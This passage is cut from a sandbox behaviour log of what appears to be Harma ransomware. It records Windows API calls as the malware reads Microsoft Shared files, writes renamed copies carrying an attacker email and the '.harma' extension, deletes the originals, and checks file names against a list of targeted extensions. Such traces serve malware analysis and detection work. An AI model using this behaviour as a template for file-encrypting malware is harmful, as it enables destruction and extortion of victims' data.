lpNewFilePointer=0x0) returned 1 [0054.483] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.483] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0054.484] GetLastError () returned 0x0 [0054.484] ReadFile (in: hFile=0x204, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x2174, lpOverlapped=0x0) returned 1 [0054.486] WriteFile (in: hFile=0x1dc, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x2180, lpOverlapped=0x0) returned 1 [0054.487] ReadFile (in: hFile=0x204, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.487] WriteFile (in: hFile=0x1dc, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0054.487] SetEndOfFile (hFile=0x1dc) returned 1 [0054.487] CloseHandle (hObject=0x1dc) returned 1 [0054.487] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.487] SetEndOfFile (hFile=0x204) returned 1 [0054.488] CloseHandle (hObject=0x204) returned 1 [0054.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0054.489] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 1 [0054.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0054.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0054.489] lstrlenW (lpString=".doc") returned 4 [0054.489] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0054.489] lstrlenW (lpString=".docx") returned 5 [0054.489] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0054.489] lstrlenW (lpString=".pdf") returned 4 [0054.489] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0054.489] lstrlenW (lpString=".xls") returned 4 [0054.489] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0054.489] lstrlenW (lpString=".xlsx") returned 5 [0054.489] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0054.489] lstrlenW (lpString=".ppt") returned 4 [0054.489] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0054.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0054.489] lstrlenW (lpString=".zip") returned 4 [0054.489] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0054.490] lstrlenW (lpString=".rar") returned 4 [0054.490] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0054.490] lstrlenW (lpString=".bz2") returned 4 [0054.490] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0054.490] lstrlenW (lpString=".7z") returned 3 [0054.490] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0054.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0054.490] lstrlenW (lpString=".dbf") returned 4 [0054.490] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0054.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0054.490] lstrlenW (lpString=".1cd") returned 4 [0054.490] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0054.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0054.490] lstrlenW (lpString=".jpg") returned 4 [0054.490] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0054.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0054.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0054.490] lstrlenW (lpString=".doc") returned 4 [0054.490] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0054.490] lstrlenW (lpString=".docx") returned 5 [0054.490] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0054.490] lstrlenW (lpString=".pdf") returned 4 [0054.490] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0054.490] lstrlenW (lpString=".xls") returned 4 [0054.490] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0054.490] lstrlenW (lpString=".xlsx") returned 5 [0054.490] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0054.490] lstrlenW (lpString=".ppt") returned 4 [0054.490] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0054.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0054.491] lstrlenW (lpString=".zip") returned 4 [0054.491] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0054.491] lstrlenW (lpString=".rar") returned 4 [0054.491] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0054.491] lstrlenW (lpString=".bz2") returned 4 [0054.491] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0054.491] lstrlenW (lpString=".7z") returned 3 [0054.491] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0054.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0054.491] lstrlenW (lpString=".dbf") returned 4 [0054.491] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0054.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0054.491] lstrlenW (lpString=".1cd") returned 4 [0054.491] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0054.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0054.491] lstrlenW (lpString=".jpg") returned 4 [0054.491] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0054.491] lstrcmpiW (lpString1=".XSL", lpString2=".harma") returned 1 [0054.491] lstrlenW (lpString="BASMLA.XSL") returned 10 [0054.491] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0054.492] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=227311) returned 1 [0054.492] CloseHandle (hObject=0x204) returned 1 [0054.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 0x20 [0054.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0054.492] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0054.492] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.492] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.492] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0054.493] GetLastError () returned 0x0 [0054.493] ReadFile (in: hFile=0x204, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x377ef, lpOverlapped=0x0) returned 1 [0054.498] WriteFile (in: hFile=0x1dc, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x377f0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x377f0, lpOverlapped=0x0) returned 1 [0054.503] ReadFile (in: hFile=0x204, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.503] WriteFile (in: hFile=0x1dc, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0054.503] SetEndOfFile (hFile=0x1dc) returned 1 [0054.503] CloseHandle (hObject=0x1dc) returned 1 [0054.503] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.504] SetEndOfFile (hFile=0x204) returned 1 [0054.506] CloseHandle (hObject=0x204) returned 1 [0054.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0054.506] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 1 [0054.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0054.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0054.506] lstrlenW (lpString=".doc") returned 4 [0054.506] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0054.506] lstrlenW (lpString=".docx") returned 5 [0054.506] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0054.506] lstrlenW (lpString=".pdf") returned 4 [0054.506] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0054.506] lstrlenW (lpString=".xls") returned 4 [0054.506] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0054.507] lstrlenW (lpString=".xlsx") returned 5 [0054.507] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0054.507] lstrlenW (lpString=".ppt") returned 4 [0054.507] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0054.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0054.507] lstrlenW (lpString=".zip") returned 4 [0054.507] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0054.507] lstrlenW (lpString=".rar") returned 4 [0054.507] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0054.507] lstrlenW (lpString=".bz2") returned 4 [0054.507] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0054.507] lstrlenW (lpString=".7z") returned 3 [0054.507] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0054.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0054.507] lstrlenW (lpString=".dbf") returned 4 [0054.507] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0054.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0054.507] lstrlenW (lpString=".1cd") returned 4 [0054.507] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0054.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0054.507] lstrlenW (lpString=".jpg") returned 4 [0054.507] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0054.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0054.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0054.507] lstrlenW (lpString=".doc") returned 4 [0054.507] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0054.507] lstrlenW (lpString=".docx") returned 5 [0054.507] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0054.507] lstrlenW (lpString=".pdf") returned 4 [0054.507] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0054.508] lstrlenW (lpString=".xls") returned 4 [0054.508] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0054.508] lstrlenW (lpString=".xlsx") returned 5 [0054.508] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0054.508] lstrlenW (lpString=".ppt") returned 4 [0054.508] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0054.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0054.508] lstrlenW (lpString=".zip") returned 4 [0054.508] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0054.508] lstrlenW (lpString=".rar") returned 4 [0054.508] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0054.508] lstrlenW (lpString=".bz2") returned 4 [0054.508] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0054.508] lstrlenW (lpString=".7z") returned 3 [0054.508] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0054.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0054.508] lstrlenW (lpString=".dbf") returned 4 [0054.508] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0054.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0054.508] lstrlenW (lpString=".1cd") returned 4 [0054.508] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0054.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0054.508] lstrlenW (lpString=".jpg") returned 4 [0054.508] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0054.508] lstrcmpiW (lpString1=".TXT", lpString2=".harma") returned 1 [0054.508] lstrlenW (lpString="METCONV.TXT") returned 11 [0054.508] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0054.778] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1183416) returned 1 [0054.778] CloseHandle (hObject=0x170) returned 1 [0054.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 0x20 [0054.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0054.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0054.778] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.778] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.779] GetLastError () returned 0x0 [0054.779] ReadFile (in: hFile=0x170, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0054.917] WriteFile (in: hFile=0x1f4, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0055.114] ReadFile (in: hFile=0x170, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x20ec8, lpOverlapped=0x0) returned 1 [0055.125] WriteFile (in: hFile=0x1f4, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x20ed0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x20ed0, lpOverlapped=0x0) returned 1 [0055.130] ReadFile (in: hFile=0x170, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.130] WriteFile (in: hFile=0x1f4, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0055.131] SetEndOfFile (hFile=0x1f4) returned 1 [0055.131] CloseHandle (hObject=0x1f4) returned 1 [0055.131] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.131] SetEndOfFile (hFile=0x170) returned 1 [0055.133] CloseHandle (hObject=0x170) returned 1 [0055.133] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0055.133] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 1 [0055.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0055.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0055.134] lstrlenW (lpString=".doc") returned 4 [0055.134] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0055.134] lstrlenW (lpString=".docx") returned 5 [0055.134] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0055.134] lstrlenW (lpString=".pdf") returned 4 [0055.134] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0055.134] lstrlenW (lpString=".xls") returned 4 [0055.134] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0055.134] lstrlenW (lpString=".xlsx") returned 5 [0055.134] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0055.134] lstrlenW (lpString=".ppt") returned 4 [0055.134] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0055.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0055.134] lstrlenW (lpString=".zip") returned 4 [0055.134] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0055.134] lstrlenW (lpString=".rar") returned 4 [0055.134] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0055.134] lstrlenW (lpString=".bz2") returned 4 [0055.134] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0055.134] lstrlenW (lpString=".7z") returned 3 [0055.134] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0055.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0055.134] lstrlenW (lpString=".dbf") returned 4 [0055.135] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0055.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0055.135] lstrlenW (lpString=".1cd") returned 4 [0055.135] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0055.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0055.135] lstrlenW (lpString=".jpg") returned 4 [0055.135] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0055.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0055.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0055.135] lstrlenW (lpString=".doc") returned 4 [0055.135] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0055.135] lstrlenW (lpString=".docx") returned 5 [0055.135] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0055.135] lstrlenW (lpString=".pdf") returned 4 [0055.135] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0055.135] lstrlenW (lpString=".xls") returned 4 [0055.135] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0055.135] lstrlenW (lpString=".xlsx") returned 5 [0055.135] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0055.135] lstrlenW (lpString=".ppt") returned 4 [0055.135] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0055.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0055.135] lstrlenW (lpString=".zip") returned 4 [0055.135] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0055.135] lstrlenW (lpString=".rar") returned 4 [0055.136] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0055.136] lstrlenW (lpString=".bz2") returned 4 [0055.136] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0055.136] lstrlenW (lpString=".7z") returned 3 [0055.136] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0055.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0055.136] lstrlenW (lpString=".dbf") returned 4 [0055.136] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0055.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0055.136] lstrlenW (lpString=".1cd") returned 4 [0055.136] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0055.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0055.136] lstrlenW (lpString=".jpg") returned 4 [0055.136] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0055.136] lstrcmpiW (lpString1=".htm", lpString2=".harma") returned 1 [0055.136] lstrlenW (lpString="Green Bubbles.htm") returned 17 [0055.136] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0055.989] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=237) returned 1 [0055.989] CloseHandle (hObject=0x1ec) returned 1 [0055.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0055.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0055.989] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.990] lstrlenW (lpString="C:\\Program 